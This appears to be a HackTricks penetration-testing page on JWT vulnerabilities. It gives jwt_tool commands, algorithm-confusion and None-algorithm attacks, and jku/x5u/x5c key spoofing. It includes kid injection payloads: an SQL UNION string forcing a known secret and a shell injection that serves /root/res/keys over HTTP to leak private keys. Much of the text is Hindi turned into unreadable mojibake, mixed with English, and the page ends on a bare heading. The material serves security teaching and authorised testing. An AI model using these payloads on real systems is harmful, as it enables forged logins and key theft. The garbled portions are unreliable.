29 KiB
JWT Vulnerabilities (Json Web Tokens)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
рдпрджрд┐ рдЖрдк рд╣реИрдХрд┐рдВрдЧ рдХрд░рд┐рдпрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдФрд░ рдЕрдЪреВрдХ рдХреЛ рд╣реИрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ - рд╣рдо рднрд░реНрддреА рдХрд░ рд░рд╣реЗ рд╣реИрдВ! (рдлреНрд▓реВрдПрдВрдЯ рдкреЛрд▓рд┐рд╢ рд▓рд┐рдЦрд┐рдд рдФрд░ рдореМрдЦрд┐рдХ рдЖрд╡рд╢реНрдпрдХ).
{% embed url="https://www.stmcyber.com/careers" %}
рдЗрд╕ рдкреЛрд╕реНрдЯ рдХрд╛ рдПрдХ рднрд╛рдЧ рд╢рд╛рдирджрд╛рд░ рдкреЛрд╕реНрдЯ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs рдХреЛ рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рд╛рди рдЯреВрд▓ рдХрд╛ рд▓реЗрдЦрдХ https://github.com/ticarpi/jwt_tool
Quick Wins
Run jwt_tool with mode All Tests!
and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
рдпрджрд┐ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ, рддреЛ рдЙрдкрдХрд░рдг рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдХреЛ рдЦреЛрдЬреЗрдЧрд╛ рдЬрд╣рд╛рдБ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди JWT рдХреА рдЧрд▓рдд рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ:
рдлрд┐рд░, рдЖрдк рдЕрдкрдиреЗ рдкреНрд░реЙрдХреНрд╕реА рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЙрд╕ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП JWT рдХреЛ jwt_ tool рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрдВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
рдбреЗрдЯрд╛ рдХреЛ рдмрд┐рдирд╛ рдХреБрдЫ рдмрджрд▓реЗ рдЯреЗрдореНрдкрд░ рдХрд░реЗрдВ
рдЖрдк рдмрд╕ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреЛ рд╡реИрд╕рд╛ рд╣реА рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЛ "admin" рдореЗрдВ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред
рдХреНрдпрд╛ рдЯреЛрдХрди рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рддреА рд╣реИ?
рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ JWT рдХрд╛ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ:
- рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ ongoing verification рдХрд╛ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реИ; verbose errors рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд┐рд╡рд░рдг рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред
- рд▓реМрдЯрд╛рдП рдЧрдП рдкреГрд╖реНрда рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рднреА рд╕рддреНрдпрд╛рдкрди рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред
- рдХреЛрдИ рдкрд░рд┐рд╡рд░реНрддрди рдирд╣реАрдВ рд╣реЛрдиреЗ рдкрд░ рдХреЛрдИ рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ рд╣реЛрддрд╛; рдпрд╣ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдЯреЗрдореНрдкрд░рд┐рдВрдЧ payload claims рдХреЗ рд╕рд╛рде рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реЛрддрд╛ рд╣реИред
рдЙрддреНрдкрддреНрддрд┐
рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЯреЛрдХрди рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдпрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдЕрдиреБрд░реЛрдз рдЗрддрд┐рд╣рд╛рд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗред
- рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб рд╕реЗ рдкрд╣рд▓реЗ рджреЗрдЦреЗ рдЧрдП рдЯреЛрдХрди рд╕реБрдЭрд╛рд╡ рджреЗрддреЗ рд╣реИрдВ рдХрд┐ рдХреБрдВрдЬреА рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдХреЛрдб рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
- рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд╕реЗ рдЙрддреНрдкрдиреНрди рдЯреЛрдХрди рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВред
рдЕрд╡рдзрд┐
рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЯреЛрдХрди 24 рдШрдВрдЯреЗ рд╕реЗ рдЕрдзрд┐рдХ рд╕рдордп рддрдХ рд░рд╣рддрд╛ рд╣реИ... рд╢рд╛рдпрдж рдпрд╣ рдХрднреА рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ред рдпрджрд┐ "exp" рдлрд╝реАрд▓реНрдб рд╣реИ, рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рдВрднрд╛рд▓ рд░рд╣рд╛ рд╣реИред
Brute-force HMAC secret
рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рджреЗрдЦреЗрдВред
рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЛ None рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ
рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЛ "None" рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рднрд╛рдЧ рдХреЛ рд╣рдЯрд╛ рджреЗрдВред
рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЖрдЬрдорд╛рдиреЗ рдФрд░ JWT рдХреЗ рдЕрдВрджрд░ рд╡рд┐рднрд┐рдиреНрди рдорд╛рдиреЛрдВ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП Burp рдПрдХреНрд╕рдЯреЗрдВрд╢рди "JSON Web Token" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЕрдиреБрд░реЛрдз рдХреЛ Repeater рдореЗрдВ рднреЗрдЬреЗрдВ рдФрд░ "JSON Web Token" рдЯреИрдм рдореЗрдВ рдЖрдк рдЯреЛрдХрди рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк "Alg" рдлрд╝реАрд▓реНрдб рдХреЗ рдорд╛рди рдХреЛ "None" рдореЗрдВ рд░рдЦрдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рднреА рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВ)ред
рдПрд▓реНрдЧреЛрд░рд┐рджрдо RS256 (asymmetric) рдХреЛ HS256 (symmetric) рдореЗрдВ рдмрджрд▓реЗрдВ (CVE-2016-5431/CVE-2016-10555)
рдПрд▓реНрдЧреЛрд░рд┐рджрдо HS256 рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрджреЗрд╢ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдФрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
рдПрд▓реНрдЧреЛрд░рд┐рджрдо RS256 рд╕рдВрджреЗрд╢ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
рдпрджрд┐ рдЖрдк рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЛ RS256 рд╕реЗ HS256 рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ, рддреЛ рдмреИрдХ рдПрдВрдб рдХреЛрдб рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HS256 рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
рдлрд┐рд░, рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдФрд░ RS256 рдХреЛ HS256 рдореЗрдВ рдмрджрд▓рддреЗ рд╣реБрдП, рд╣рдо рдПрдХ рдорд╛рдиреНрдп рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реБрдП рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
New public key inside the header
An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).
This can be done with the "JSON Web Tokens" Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request).
JWKS Spoofing
The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.
- Assessing Tokens with "jku" Header:
- Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file.
- Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation.
- Monitoring for HTTP Interaction:
- Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link.
- When employing
jwt_tool
for this process, it's crucial to update thejwtconf.ini
file with your personal JWKS location to facilitate the testing. - Command for
jwt_tool
: - Execute the following command to simulate the scenario with
jwt_tool
:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
An optional header claim known as kid
is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.
Revealing Key through "kid"
When the kid
claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if "kid":"key/12345"
is specified, the files /key/12345 and /key/12345.pem should be searched for in the web root.
Path Traversal with "kid"
The kid
claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the kid
value to target specific files or services. Tampering with the JWT to change the kid
value while retaining the original signature can be achieved using the -T
flag in jwt_tool, as demonstrated below:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space
file in Linux systems, known to contain the value 2, can be used in the kid
parameter with 2 as the symmetric password for JWT generation.
SQL Injection via "kid"
If the kid
claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid
payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER
, for JWT signing.
OS Injection through "kid"
A scenario where the kid
parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid
parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
If the token uses a тАЬjkuтАЭ Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
рдлрд┐рд░ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП jwt.io рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдирд┐рд░реНрдорд┐рдд рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдФрд░ рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдирдпрд╛ JWT рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдкреИрд░рд╛рдореАрдЯрд░ jku рдХреЛ рдмрдирд╛рдП рдЧрдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рдорд╛рдиреНрдп jku рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдореВрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред
рдЖрдк рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗ "e" рдФрд░ "n" рдкреИрд░рд╛рдореАрдЯрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. рдПрдХ URI рдЬреЛ X.509 (рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рд░реВрдк рдорд╛рдирдХ) рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд╕реЗрдЯ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬреЛ PEM рд░реВрдк рдореЗрдВ рдПрдиреНрдХреЛрдбреЗрдб рд╣реИрдВред рд╕реЗрдЯ рдореЗрдВ рдкрд╣рд▓рд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╡рд╣ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ JWT рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рддреНрдпреЗрдХ рдкрд┐рдЫрд▓реЗ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдкреВрд░рд╛ рдХрд░рддреЗ рд╣реИрдВред X.509 рдХреЛ RFC 52807 рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рд╡рд╣рди рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рдПрдХ URL рдореЗрдВ рдмрджрд▓реЗрдВ рдЬреЛ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдЙрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк JWT рдХреЛ рдЫреЗрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред
рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдпрд╛ рдЯреЛрдХрди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ, рдЖрдкрдХреЛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдФрд░ рдирд┐рдЬреА рдХреБрдВрдЬреА рдирд┐рдХрд╛рд▓рдиреА рд╣реЛрдЧреА:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
рдлрд┐рд░ рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП jwt.io рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдмрдирд╛рдП рдЧрдП рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдФрд░ рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдирдпрд╛ JWT рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ x5u рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдмрдирд╛рдП рдЧрдП .crt рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдЖрдк рдЗрди рджреЛрдиреЛрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ SSRFs рдХреЗ рд▓рд┐рдП рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
x5c
рдпрд╣ рдкреИрд░рд╛рдореАрдЯрд░ base64 рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:
рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╕реНрд╡-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЬрд╛рд▓реА рдЯреЛрдХрди рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ "x5c" рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рди рдХреЛ рдирдП рдЙрддреНрдкрдиреНрди рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ рдФрд░ рдЕрдиреНрдп рдкреИрд░рд╛рдореАрдЯрд░, рдЕрд░реНрдерд╛рддреН n, e рдФрд░ x5t рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдЬрд╛рд▓реА рдЯреЛрдХрди рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Embedded Public Key (CVE-2018-0114)
рдпрджрд┐ JWT рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рджреГрд╢реНрдп рдХреА рддрд░рд╣ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдПрдореНрдмреЗрдб рдХреА рдЧрдИ рд╣реИ:
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд nodejs рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕ рдбреЗрдЯрд╛ рд╕реЗ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="тАЛANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"тАЛ;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
рдирдпрд╛ рдирд┐рдЬреА/рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдирдП рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ рдЯреЛрдХрди рдХреЗ рдЕрдВрджрд░ рдПрдореНрдмреЗрдб рдХрд░рдирд╛ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдпрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
рдЖрдк рдЗрд╕ nodejs рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "n" рдФрд░ "e" рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.
ES256: рд╕рдорд╛рди nonce рдХреЗ рд╕рд╛рде рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд░рдирд╛
